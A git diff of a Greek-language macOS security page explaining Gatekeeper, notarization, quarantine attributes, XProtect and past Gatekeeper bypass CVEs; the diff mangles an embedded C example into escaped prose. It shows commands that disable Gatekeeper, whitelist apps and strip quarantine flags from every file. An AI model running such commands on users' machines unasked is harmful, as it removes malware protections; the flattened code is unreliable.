Η διαδικασία επικύρωσης της Apple λειτουργεί ως μια επιπλέον προστασία για τους χρήστες από πιθανά επιβλαβές λογισμικό. Περιλαμβάνει τον **προγραμματιστή να υποβάλει την εφαρμογή του για εξέταση** από την **Υπηρεσία Επικύρωσης της Apple**, η οποία δεν πρέπει να συγχέεται με την Αναθεώρηση Εφαρμογών. Αυτή η υπηρεσία είναι ένα **αυτοματοποιημένο σύστημα** που εξετάζει το υποβληθέν λογισμικό για την παρουσία **κακόβουλου περιεχομένου** και οποιαδήποτε πιθανά προβλήματα με την υπογραφή του κώδικα.
|
Η διαδικασία επικύρωσης της Apple λειτουργεί ως μια επιπλέον προστασία για τους χρήστες από πιθανά επιβλαβές λογισμικό. Περιλαμβάνει τον **προγραμματιστή να υποβάλει την εφαρμογή του για εξέταση** από την **Υπηρεσία Επικύρωσης της Apple**, η οποία δεν πρέπει να συγχέεται με την Αναθεώρηση Εφαρμογών. Αυτή η υπηρεσία είναι ένα **αυτοματοποιημένο σύστημα** που εξετάζει το υποβληθέν λογισμικό για την παρουσία **κακόβουλου περιεχομένου** και οποιαδήποτε πιθανά προβλήματα με την υπογραφή του κώδικα.
|
||||||
|
@ -60,10 +62,12 @@ codesign -s <cert-name-keychain> toolsdemo
|
||||||
Το GateKeeper είναι τόσο **πολλαπλά στοιχεία ασφαλείας** που αποτρέπουν την εκτέλεση μη αξιόπιστων εφαρμογών, όσο και **ένα από τα στοιχεία**.
|
Το GateKeeper είναι τόσο **πολλαπλά στοιχεία ασφαλείας** που αποτρέπουν την εκτέλεση μη αξιόπιστων εφαρμογών, όσο και **ένα από τα στοιχεία**.
|
||||||
|
|
||||||
Είναι δυνατόν να δείτε την **κατάσταση** του GateKeeper με:
|
Είναι δυνατόν να δείτε την **κατάσταση** του GateKeeper με:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Check the status
|
# Check the status
|
||||||
spctl --status
|
spctl --status
|
||||||
```
|
```
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Σημείωση ότι οι έλεγχοι υπογραφής του GateKeeper πραγματοποιούνται μόνο σε **αρχεία με το χαρακτηριστικό Καραντίνα**, όχι σε κάθε αρχείο.
|
Σημείωση ότι οι έλεγχοι υπογραφής του GateKeeper πραγματοποιούνται μόνο σε **αρχεία με το χαρακτηριστικό Καραντίνα**, όχι σε κάθε αρχείο.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -73,6 +77,7 @@ spctl --status
|
||||||
<figure><img src="../../../.gitbook/assets/image (678).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (678).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Η βάση δεδομένων που διατηρεί αυτή τη διαμόρφωση βρίσκεται στο **`/var/db/SystemPolicy`**. Μπορείτε να ελέγξετε αυτήν τη βάση δεδομένων ως ριζικός χρήστης με:
|
Η βάση δεδομένων που διατηρεί αυτή τη διαμόρφωση βρίσκεται στο **`/var/db/SystemPolicy`**. Μπορείτε να ελέγξετε αυτήν τη βάση δεδομένων ως ριζικός χρήστης με:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Open database
|
# Open database
|
||||||
sqlite3 /var/db/SystemPolicy
|
sqlite3 /var/db/SystemPolicy
|
||||||
|
@ -86,10 +91,12 @@ anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists
|
||||||
anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID
|
anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
|
|
||||||
Παρατηρήστε πώς ο πρώτος κανόνας τελείωσε σε "**App Store**" και ο δεύτερος σε "**Developer ID**" και ότι στην προηγούμενη εικόνα ήταν **ενεργοποιημένη η εκτέλεση εφαρμογών από το App Store και από τους εντοπισμένους προγραμματιστές**.\
|
Παρατηρήστε πώς ο πρώτος κανόνας τελείωσε σε "**App Store**" και ο δεύτερος σε "**Developer ID**" και ότι στην προηγούμενη εικόνα ήταν **ενεργοποιημένη η εκτέλεση εφαρμογών από το App Store και από τους εντοπισμένους προγραμματιστές**.\
|
||||||
Εάν **τροποποιήσετε** αυτήν τη ρύθμιση σε App Store, οι κανόνες "**Notarized Developer ID" θα εξαφανιστούν**.
|
Εάν **τροποποιήσετε** αυτήν τη ρύθμιση σε App Store, οι κανόνες "**Notarized Developer ID" θα εξαφανιστούν**.
|
||||||
|
|
||||||
Υπάρχουν επίσης χιλιάδες κανόνες τύπου GKE:
|
Υπάρχουν επίσης χιλιάδες κανόνες τύπου GKE:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
SELECT requirement,allow,disabled,label from authority where label = 'GKE' limit 5;
|
SELECT requirement,allow,disabled,label from authority where label = 'GKE' limit 5;
|
||||||
cdhash H"b40281d347dc574ae0850682f0fd1173aa2d0a39"|1|0|GKE
|
cdhash H"b40281d347dc574ae0850682f0fd1173aa2d0a39"|1|0|GKE
|
||||||
|
@ -98,13 +105,17 @@ cdhash H"4317047eefac8125ce4d44cab0eb7b1dff29d19a"|1|0|GKE
|
||||||
cdhash H"0a71962e7a32f0c2b41ddb1fb8403f3420e1d861"|1|0|GKE
|
cdhash H"0a71962e7a32f0c2b41ddb1fb8403f3420e1d861"|1|0|GKE
|
||||||
cdhash H"8d0d90ff23c3071211646c4c9c607cdb601cb18f"|1|0|GKE
|
cdhash H"8d0d90ff23c3071211646c4c9c607cdb601cb18f"|1|0|GKE
|
||||||
```
|
```
|
||||||
|
|
||||||
Αυτά είναι τα hashes που προέρχονται από τα **`/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`, `/var/db/gke.bundle/Contents/Resources/gk.db`** και **`/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`**
|
Αυτά είναι τα hashes που προέρχονται από τα **`/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`, `/var/db/gke.bundle/Contents/Resources/gk.db`** και **`/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`**
|
||||||
|
|
||||||
Ή μπορείτε να αναφέρετε τις προηγούμενες πληροφορίες με:
|
Ή μπορείτε να αναφέρετε τις προηγούμενες πληροφορίες με:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo spctl --list
|
sudo spctl --list
|
||||||
```
|
```
|
||||||
|
|
||||||
Οι επιλογές **`--master-disable`** και **`--global-disable`** του **`spctl`** θα απενεργοποιήσουν εντελώς αυτούς τους έλεγχους υπογραφής:
|
Οι επιλογές **`--master-disable`** και **`--global-disable`** του **`spctl`** θα απενεργοποιήσουν εντελώς αυτούς τους έλεγχους υπογραφής:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Disable GateKeeper
|
# Disable GateKeeper
|
||||||
spctl --global-disable
|
spctl --global-disable
|
||||||
|
@ -114,15 +125,19 @@ spctl --master-disable
|
||||||
spctl --global-enable
|
spctl --global-enable
|
||||||
spctl --master-enable
|
spctl --master-enable
|
||||||
```
|
```
|
||||||
|
|
||||||
Όταν είναι πλήρως ενεργοποιημένο, θα εμφανιστεί μια νέα επιλογή:
|
Όταν είναι πλήρως ενεργοποιημένο, θα εμφανιστεί μια νέα επιλογή:
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (679).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (679).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Είναι δυνατόν να **ελεγχθεί εάν μια εφαρμογή θα επιτραπεί από το GateKeeper** με:
|
Είναι δυνατόν να **ελεγχθεί εάν μια εφαρμογή θα επιτραπεί από το GateKeeper** με:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
spctl --assess -v /Applications/App.app
|
spctl --assess -v /Applications/App.app
|
||||||
```
|
```
|
||||||
|
|
||||||
Είναι δυνατόν να προστεθούν νέοι κανόνες στο GateKeeper για να επιτραπεί η εκτέλεση συγκεκριμένων εφαρμογών με:
|
Είναι δυνατόν να προστεθούν νέοι κανόνες στο GateKeeper για να επιτραπεί η εκτέλεση συγκεκριμένων εφαρμογών με:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Check if allowed - nop
|
# Check if allowed - nop
|
||||||
spctl --assess -v /Applications/App.app
|
spctl --assess -v /Applications/App.app
|
||||||
|
@ -137,6 +152,7 @@ sudo spctl --enable --label "whitelist"
|
||||||
spctl --assess -v /Applications/App.app
|
spctl --assess -v /Applications/App.app
|
||||||
/Applications/App.app: accepted
|
/Applications/App.app: accepted
|
||||||
```
|
```
|
||||||
|
|
||||||
### Αρχεία Καραντίνας
|
### Αρχεία Καραντίνας
|
||||||
|
|
||||||
Κατά την **λήψη** μιας εφαρμογής ή αρχείου, συγκεκριμένες εφαρμογές του macOS, όπως οι περιηγητές ιστού ή οι πελάτες ηλεκτρονικού ταχυδρομείου, **προσθέτουν ένα επεκτεινόμενο χαρακτηριστικό αρχείου**, γνωστό ως "**σημαία καραντίνας**", στο κατεβασμένο αρχείο. Αυτό το χαρακτηριστικό λειτουργεί ως μέτρο ασφαλείας για να **επισημάνει το αρχείο** ως προερχόμενο από μη έμπιστη πηγή (το διαδίκτυο) και πιθανώς να φέρει κινδύνους. Ωστόσο, όχι όλες οι εφαρμογές προσθέτουν αυτό το χαρακτηριστικό, για παράδειγμα, οι συνηθισμένοι πελάτες BitTorrent παρακάμπτουν συνήθως αυτήν τη διαδικασία.
|
Κατά την **λήψη** μιας εφαρμογής ή αρχείου, συγκεκριμένες εφαρμογές του macOS, όπως οι περιηγητές ιστού ή οι πελάτες ηλεκτρονικού ταχυδρομείου, **προσθέτουν ένα επεκτεινόμενο χαρακτηριστικό αρχείου**, γνωστό ως "**σημαία καραντίνας**", στο κατεβασμένο αρχείο. Αυτό το χαρακτηριστικό λειτουργεί ως μέτρο ασφαλείας για να **επισημάνει το αρχείο** ως προερχόμενο από μη έμπιστη πηγή (το διαδίκτυο) και πιθανώς να φέρει κινδύνους. Ωστόσο, όχι όλες οι εφαρμογές προσθέτουν αυτό το χαρακτηριστικό, για παράδειγμα, οι συνηθισμένοι πελάτες BitTorrent παρακάμπτουν συνήθως αυτήν τη διαδικασία.
|
||||||
|
@ -158,6 +174,7 @@ spctl --assess -v /Applications/App.app
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Είναι δυνατόν να **ελέγξετε την κατάστασή του και να ενεργοποιήσετε/απενεργοποιήσετε** (απαιτεί δικαιώματα διαχειριστή) με την εντολή:
|
Είναι δυνατόν να **ελέγξετε την κατάστασή του και να ενεργοποιήσετε/απενεργοποιήσετε** (απαιτεί δικαιώματα διαχειριστή) με την εντολή:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
spctl --status
|
spctl --status
|
||||||
assessments enabled
|
assessments enabled
|
||||||
|
@ -166,13 +183,17 @@ spctl --enable
|
||||||
spctl --disable
|
spctl --disable
|
||||||
#You can also allow nee identifies to execute code using the binary "spctl"
|
#You can also allow nee identifies to execute code using the binary "spctl"
|
||||||
```
|
```
|
||||||
|
|
||||||
Μπορείτε επίσης να **βρείτε αν ένα αρχείο έχει το επιπλέον χαρακτηριστικό καραντίνας** με την εντολή:
|
Μπορείτε επίσης να **βρείτε αν ένα αρχείο έχει το επιπλέον χαρακτηριστικό καραντίνας** με την εντολή:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
xattr file.png
|
xattr file.png
|
||||||
com.apple.macl
|
com.apple.macl
|
||||||
com.apple.quarantine
|
com.apple.quarantine
|
||||||
```
|
```
|
||||||
|
|
||||||
Ελέγξτε τη **τιμή** των **επεκταμένων** **χαρακτηριστικών** και βρείτε την εφαρμογή που έγραψε το χαρακτηριστικό καραντίνας με:
|
Ελέγξτε τη **τιμή** των **επεκταμένων** **χαρακτηριστικών** και βρείτε την εφαρμογή που έγραψε το χαρακτηριστικό καραντίνας με:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
xattr -l portada.png
|
xattr -l portada.png
|
||||||
com.apple.macl:
|
com.apple.macl:
|
||||||
|
@ -188,70 +209,34 @@ com.apple.quarantine: 00C1;607842eb;Brave;F643CD5F-6071-46AB-83AB-390BA944DEC5
|
||||||
# Brave -- App
|
# Brave -- App
|
||||||
# F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded
|
# F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded
|
||||||
```
|
```
|
||||||
Πραγματικά, ένας διεργασία "μπορεί να ορίσει σημαίες καραντίνας στα αρχεία που δημιουργεί" (προσπάθησα να εφαρμόσω τη σημαία USER_APPROVED σε ένα δημιουργημένο αρχείο, αλλά δεν την εφάρμοσε):
|
|
||||||
|
Πραγματικά, ένας διεργασία "μπορεί να ορίσει σημαίες καραντίνας στα αρχεία που δημιουργεί" (προσπάθησα να εφαρμόσω τη σημαία USER\_APPROVED σε ένα δημιουργημένο αρχείο, αλλά δεν την εφάρμοσε):
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Πηγαίος Κώδικας εφαρμογής σημαιών καραντίνας</summary>
|
<summary>Πηγαίος Κώδικας εφαρμογής σημαιών καραντίνας</summary>
|
||||||
```c
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
|
|
||||||
enum qtn_flags {
|
\`\`\`c #include #include
|
||||||
QTN_FLAG_DOWNLOAD = 0x0001,
|
|
||||||
QTN_FLAG_SANDBOX = 0x0002,
|
|
||||||
QTN_FLAG_HARD = 0x0004,
|
|
||||||
QTN_FLAG_USER_APPROVED = 0x0040,
|
|
||||||
};
|
|
||||||
|
|
||||||
#define qtn_proc_alloc _qtn_proc_alloc
|
enum qtn\_flags { QTN\_FLAG\_DOWNLOAD = 0x0001, QTN\_FLAG\_SANDBOX = 0x0002, QTN\_FLAG\_HARD = 0x0004, QTN\_FLAG\_USER\_APPROVED = 0x0040, };
|
||||||
#define qtn_proc_apply_to_self _qtn_proc_apply_to_self
|
|
||||||
#define qtn_proc_free _qtn_proc_free
|
|
||||||
#define qtn_proc_init _qtn_proc_init
|
|
||||||
#define qtn_proc_init_with_self _qtn_proc_init_with_self
|
|
||||||
#define qtn_proc_set_flags _qtn_proc_set_flags
|
|
||||||
#define qtn_file_alloc _qtn_file_alloc
|
|
||||||
#define qtn_file_init_with_path _qtn_file_init_with_path
|
|
||||||
#define qtn_file_free _qtn_file_free
|
|
||||||
#define qtn_file_apply_to_path _qtn_file_apply_to_path
|
|
||||||
#define qtn_file_set_flags _qtn_file_set_flags
|
|
||||||
#define qtn_file_get_flags _qtn_file_get_flags
|
|
||||||
#define qtn_proc_set_identifier _qtn_proc_set_identifier
|
|
||||||
|
|
||||||
typedef struct _qtn_proc *qtn_proc_t;
|
\#define qtn\_proc\_alloc \_qtn\_proc\_alloc #define qtn\_proc\_apply\_to\_self \_qtn\_proc\_apply\_to\_self #define qtn\_proc\_free \_qtn\_proc\_free #define qtn\_proc\_init \_qtn\_proc\_init #define qtn\_proc\_init\_with\_self \_qtn\_proc\_init\_with\_self #define qtn\_proc\_set\_flags \_qtn\_proc\_set\_flags #define qtn\_file\_alloc \_qtn\_file\_alloc #define qtn\_file\_init\_with\_path \_qtn\_file\_init\_with\_path #define qtn\_file\_free \_qtn\_file\_free #define qtn\_file\_apply\_to\_path \_qtn\_file\_apply\_to\_path #define qtn\_file\_set\_flags \_qtn\_file\_set\_flags #define qtn\_file\_get\_flags \_qtn\_file\_get\_flags #define qtn\_proc\_set\_identifier \_qtn\_proc\_set\_identifier
|
||||||
typedef struct _qtn_file *qtn_file_t;
|
|
||||||
|
|
||||||
int qtn_proc_apply_to_self(qtn_proc_t);
|
typedef struct \_qtn\_proc \*qtn\_proc\_t; typedef struct \_qtn\_file \*qtn\_file\_t;
|
||||||
void qtn_proc_init(qtn_proc_t);
|
|
||||||
int qtn_proc_init_with_self(qtn_proc_t);
|
int qtn\_proc\_apply\_to\_self(qtn\_proc\_t); void qtn\_proc\_init(qtn\_proc\_t); int qtn\_proc\_init\_with\_self(qtn\_proc\_t); int qtn\_proc\_set\_flags(qtn\_proc\_t, uint32\_t flags); qtn\_proc\_t qtn\_proc\_alloc(); void qtn\_proc\_free(qtn\_proc\_t); qtn\_file\_t qtn\_file\_alloc(void); void qtn\_file\_free(qtn\_file\_t qf); int qtn\_file\_set\_flags(qtn\_file\_t qf, uint32\_t flags); uint32\_t qtn\_file\_get\_flags(qtn\_file\_t qf); int qtn\_file\_apply\_to\_path(qtn\_file\_t qf, const char \*path); int qtn\_file\_init\_with\_path(qtn\_file\_t qf, const char _path); int qtn\_proc\_set\_identifier(qtn\_proc\_t qp, const char_ bundleid);
|
||||||
int qtn_proc_set_flags(qtn_proc_t, uint32_t flags);
|
|
||||||
qtn_proc_t qtn_proc_alloc();
|
|
||||||
void qtn_proc_free(qtn_proc_t);
|
|
||||||
qtn_file_t qtn_file_alloc(void);
|
|
||||||
void qtn_file_free(qtn_file_t qf);
|
|
||||||
int qtn_file_set_flags(qtn_file_t qf, uint32_t flags);
|
|
||||||
uint32_t qtn_file_get_flags(qtn_file_t qf);
|
|
||||||
int qtn_file_apply_to_path(qtn_file_t qf, const char *path);
|
|
||||||
int qtn_file_init_with_path(qtn_file_t qf, const char *path);
|
|
||||||
int qtn_proc_set_identifier(qtn_proc_t qp, const char* bundleid);
|
|
||||||
|
|
||||||
int main() {
|
int main() {
|
||||||
|
|
||||||
qtn_proc_t qp = qtn_proc_alloc();
|
qtn\_proc\_t qp = qtn\_proc\_alloc(); qtn\_proc\_set\_identifier(qp, "xyz.hacktricks.qa"); qtn\_proc\_set\_flags(qp, QTN\_FLAG\_DOWNLOAD | QTN\_FLAG\_USER\_APPROVED); qtn\_proc\_apply\_to\_self(qp); qtn\_proc\_free(qp);
|
||||||
qtn_proc_set_identifier(qp, "xyz.hacktricks.qa");
|
|
||||||
qtn_proc_set_flags(qp, QTN_FLAG_DOWNLOAD | QTN_FLAG_USER_APPROVED);
|
|
||||||
qtn_proc_apply_to_self(qp);
|
|
||||||
qtn_proc_free(qp);
|
|
||||||
|
|
||||||
FILE *fp;
|
FILE \*fp; fp = fopen("thisisquarantined.txt", "w+"); fprintf(fp, "Hello Quarantine\n"); fclose(fp);
|
||||||
fp = fopen("thisisquarantined.txt", "w+");
|
|
||||||
fprintf(fp, "Hello Quarantine\n");
|
|
||||||
fclose(fp);
|
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
|
|
||||||
}
|
}
|
||||||
```
|
|
||||||
|
````
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Και **αφαιρέστε** αυτήν την ιδιότητα με:
|
Και **αφαιρέστε** αυτήν την ιδιότητα με:
|
||||||
|
@ -259,7 +244,8 @@ return 0;
|
||||||
xattr -d com.apple.quarantine portada.png
|
xattr -d com.apple.quarantine portada.png
|
||||||
#You can also remove this attribute from every file with
|
#You can also remove this attribute from every file with
|
||||||
find . -iname '*' -print0 | xargs -0 xattr -d com.apple.quarantine
|
find . -iname '*' -print0 | xargs -0 xattr -d com.apple.quarantine
|
||||||
```
|
````
|
||||||
|
|
||||||
Και βρείτε όλα τα καραντιναρισμένα αρχεία με:
|
Και βρείτε όλα τα καραντιναρισμένα αρχεία με:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
|
@ -270,11 +256,11 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri
|
||||||
|
|
||||||
Οι πληροφορίες της καραντίνας αποθηκεύονται επίσης σε μια κεντρική βάση δεδομένων που διαχειρίζεται η LaunchServices στο **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**.
|
Οι πληροφορίες της καραντίνας αποθηκεύονται επίσης σε μια κεντρική βάση δεδομένων που διαχειρίζεται η LaunchServices στο **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**.
|
||||||
|
|
||||||
#### **Quarantine.kext**
|
**Quarantine.kext**
|
||||||
|
|
||||||
Η επέκταση πυρήνα είναι διαθέσιμη μόνο μέσω της **προσωρινής μνήμης του πυρήνα στο σύστημα**. Ωστόσο, μπορείτε να κατεβάσετε το **Kernel Debug Kit από τη διεύθυνση https://developer.apple.com/**, το οποίο θα περιέχει μια συμβολική έκδοση της επέκτασης.
|
Η επέκταση πυρήνα είναι διαθέσιμη μόνο μέσω της **προσωρινής μνήμης του πυρήνα στο σύστημα**. Ωστόσο, μπορείτε να κατεβάσετε το **Kernel Debug Kit από τη διεύθυνση https://developer.apple.com/**, το οποίο θα περιέχει μια συμβολική έκδοση της επέκτασης.
|
||||||
|
|
||||||
### XProtect
|
#### XProtect
|
||||||
|
|
||||||
Το XProtect είναι μια ενσωματωμένη λειτουργία **αντι-κακόβουλου λογισμικού** στο macOS. Το XProtect **ελέγχει κάθε εφαρμογή όταν την εκτελέσετε για πρώτη φορά ή την τροποποιήσετε, σε σχέση με τη βάση δεδομένων του** γνωστού κακόβουλου λογισμικού και των μη ασφαλών τύπων αρχείων. Όταν κατεβάζετε ένα αρχείο μέσω ορισμένων εφαρμογών, όπως το Safari, το Mail ή το Messages, το XProtect σαρώνει αυτόματα το αρχείο. Εάν ταιριάζει με οποιοδήποτε γνωστό κακόβουλο λογισμικό στη βάση δεδομένων του, το XProtect θα **αποτρέψει την εκτέλεση του αρχείου** και θα σας ειδοποιήσει για τον κίνδυνο.
|
Το XProtect είναι μια ενσωματωμένη λειτουργία **αντι-κακόβουλου λογισμικού** στο macOS. Το XProtect **ελέγχει κάθε εφαρμογή όταν την εκτελέσετε για πρώτη φορά ή την τροποποιήσετε, σε σχέση με τη βάση δεδομένων του** γνωστού κακόβουλου λογισμικού και των μη ασφαλών τύπων αρχείων. Όταν κατεβάζετε ένα αρχείο μέσω ορισμένων εφαρμογών, όπως το Safari, το Mail ή το Messages, το XProtect σαρώνει αυτόματα το αρχείο. Εάν ταιριάζει με οποιοδήποτε γνωστό κακόβουλο λογισμικό στη βάση δεδομένων του, το XProtect θα **αποτρέψει την εκτέλεση του αρχείου** και θα σας ειδοποιήσει για τον κίνδυνο.
|
||||||
|
|
||||||
|
@ -299,27 +285,25 @@ system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistC
|
||||||
|
|
||||||
Σημειώστε ότι υπάρχει μια άλλη εφαρμογή στο **`/Library/Apple/System/Library/CoreServices/XProtect.app`** που σχετίζεται με το XProtect και δεν συμμετέχει στη διαδικασία του Gatekeeper.
|
Σημειώστε ότι υπάρχει μια άλλη εφαρμογή στο **`/Library/Apple/System/Library/CoreServices/XProtect.app`** που σχετίζεται με το XProtect και δεν συμμετέχει στη διαδικασία του Gatekeeper.
|
||||||
|
|
||||||
### Όχι Gatekeeper
|
#### Όχι Gatekeeper
|
||||||
|
|
||||||
{% hint style="danger" %}
|
|
||||||
Σημειώστε ότι το Gatekeeper **δεν εκτελείται κάθε φορά** που εκτελείτε μια εφαρμογή, απλώς ο _**AppleMobileFileIntegrity**_ (AMFI) θα επιβεβαιώσει μόνο τις υπογραφές του εκτελέσιμου κώδικα όταν εκτελείτε μια εφαρμογή που έχει ήδη εκτελεστεί και επιβεβαιωθεί από το Gatekeeper.
|
Σημειώστε ότι το Gatekeeper **δεν εκτελείται κάθε φορά** που εκτελείτε μια εφαρμογή, απλώς ο _**AppleMobileFileIntegrity**_ (AMFI) θα επιβεβαιώσει μόνο τις υπογραφές του εκτελέσιμου κώδικα όταν εκτελείτε μια εφαρμογή που έχει ήδη εκτελεστεί και επιβεβαιωθεί από το Gatekeeper.
|
||||||
{% endhint %}
|
|
||||||
|
|
||||||
Επομένως, προηγουμένως ήταν δυνατό να εκτελεστεί μια εφαρμογή για να την κρυφτεί με το Gatekeeper, στη συνέχεια να **τροποποιηθούν μη εκτελέσιμα αρχεία της εφαρμογής** (όπως τα αρχεία Electron asar ή NIB) και αν δεν υπήρχαν άλλες προστασίες, η εφαρμογή εκτελούνταν με τις **κακόβουλες** προσθήκες.
|
Επομένως, προηγουμένως ήταν δυνατό να εκτελεστεί μια εφαρμογή για να την κρυφτεί με το Gatekeeper, στη συνέχεια να **τροποποιηθούν μη εκτελέσιμα αρχεία της εφαρμογής** (όπως τα αρχεία Electron asar ή NIB) και αν δεν υπήρχαν άλλες προστασίες, η εφαρμογή εκτελούνταν με τις **κακόβουλες** προσθήκες.
|
||||||
|
|
||||||
Ωστόσο, τώρα αυτό δεν είναι δυνατό επειδή το macOS **αποτρέπει την τροποποίηση αρχείων** μέσα στα πακέτα των εφαρμογών. Έτσι, αν προσπαθήσετε την επίθεση [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md), θα διαπιστώσετε ότι δεν είναι πλέον δυνατή η κατάχρησή της επειδή μετά την εκτέλεση της εφαρμογής για να την κρυφτεί με το Gatekeeper, δεν θα μπορείτε να τροποποιήσετε το πακέτο. Και αν αλλάξετε, για παράδειγμα, το όνομα του καταλόγου Contents σε NotCon (όπως υποδεικνύεται στην εκμετάλλευση), και στη συνέχεια εκτελέσετε τον κύριο δυαδικό της εφαρμογής για να την κρυφτεί με το Gatekeeper, θα προκαλέσει ένα σφάλμα και δεν θα εκτελεστεί.
|
Ωστόσο, τώρα αυτό δεν είναι δυνατό επειδή το macOS **αποτρέπει την τροποποίηση αρχείων** μέσα στα πακέτα των εφαρμογών. Έτσι, αν προσπαθήσετε την επίθεση [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md), θα διαπιστώσετε ότι δεν είναι πλέον δυνατή η κατάχρησή της επειδή μετά την εκτέλεση της εφαρμογής για να την κρυφτεί με το Gatekeeper, δεν θα μπορείτε να τροποποιήσετε το πακέτο. Και αν αλλάξετε, για παράδειγμα, το όνομα του καταλόγου Contents σε NotCon (όπως υποδεικνύεται στην εκμετάλλευση), και στη συνέχεια εκτελέσετε τον κύριο δυαδικό της εφαρμογής για να την κρυφτεί με το Gatekeeper, θα προκαλέσει ένα σφάλμα και δεν θα εκτελεστεί.
|
||||||
|
|
||||||
## Παράκαμψη του Gatekeeper
|
### Παράκαμψη του Gatekeeper
|
||||||
|
|
||||||
Οποιοδήποτε τρόπος παράκαμψης του Gatekeeper (καταφέρνοντας να κάνετε τον χρήστη να κατεβάσει και να εκτελέσει κάτι όταν ο Gatekeeper θα έπρεπε να το απαγορεύσει) θεωρείται ευπάθεια στο macOS. Αυτά είναι μερικά CVE που έχουν ανατεθεί σε τεχνικές που επέτρεπαν την παράκαμψη του Gatekeeper στο παρελθόν:
|
Οποιοδήποτε τρόπος παράκαμψης του Gatekeeper (καταφέρνοντας να κάνετε τον χρήστη να κατεβάσει και να εκτελέσει κάτι όταν ο Gatekeeper θα έπρεπε να το απαγορεύσει) θεωρείται ευπάθεια στο macOS. Αυτά είναι μερικά CVE που έχουν ανατεθεί σε τεχνικές που επέτρεπαν την παράκαμψη του Gatekeeper στο παρελθόν:
|
||||||
|
|
||||||
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
|
#### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
|
||||||
|
|
||||||
Παρατηρήθηκε ότι εάν χρησιμοποιηθεί το **Archive Utility** για την αποσυμπίεση, τα αρχεία με **μονοπάτια που υπερβαίνουν τους 886 χαρακτήρες** δεν λαμβάνουν το επεκτεινόμενο χαρακτηριστικό com.apple.quarantine. Αυτή η κατάσταση επιτρέπει κατά λάθος σε αυτά τα αρχεία να **παρακάμψουν τους έλεγχους ασφαλείας** του Gatekeeper.
|
Παρατηρήθηκε ότι εάν χρησιμοποιηθεί το **Archive Utility** για την αποσυμπίεση, τα αρχεία με **μονοπάτια που υπερβαίνουν τους 886 χαρακτήρες** δεν λαμβάνουν το επεκτεινόμενο χαρακτηριστικό com.apple.quarantine. Αυτή η κατάσταση επιτρέπει κατά λάθος σε αυτά τα αρχεία να **παρακάμψουν τους έλεγχους ασφαλείας** του Gatekeeper.
|
||||||
|
|
||||||
Ελέγξτε την [**αρχική αναφορά**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) για περισσότερες πληροφορίες.
|
Ελέγξτε την [**αρχική αναφορά**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) για περισσότερες πληροφορίες.
|
||||||
|
|
||||||
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
|
#### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
|
||||||
|
|
||||||
Όταν δημιουργείται μια εφαρμογή με το **Automator**, οι πληροφορίες για το τι χρειάζεται να εκτελεστεί βρίσκονται μέσα στο `application.app/Contents/document.wflow` και όχι στο εκτελέσιμο. Το εκτελέσιμο είναι απλώς ένα γενικό δυαδικό του Automator που ονομάζεται **Automator Application Stub**.
|
Όταν δημιουργείται μια εφαρμογή με το **Automator**, οι πληροφορίες για το τι χρειάζεται να εκτελεστεί βρίσκονται μέσα στο `application.app/Contents/document.wflow` και όχι στο εκτελέσιμο. Το εκτελέσιμο είναι απλώς ένα γενικό δυαδικό του Automator που ονομάζεται **Automator Application Stub**.
|
||||||
|
|
||||||
|
@ -329,31 +313,37 @@ system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistC
|
||||||
|
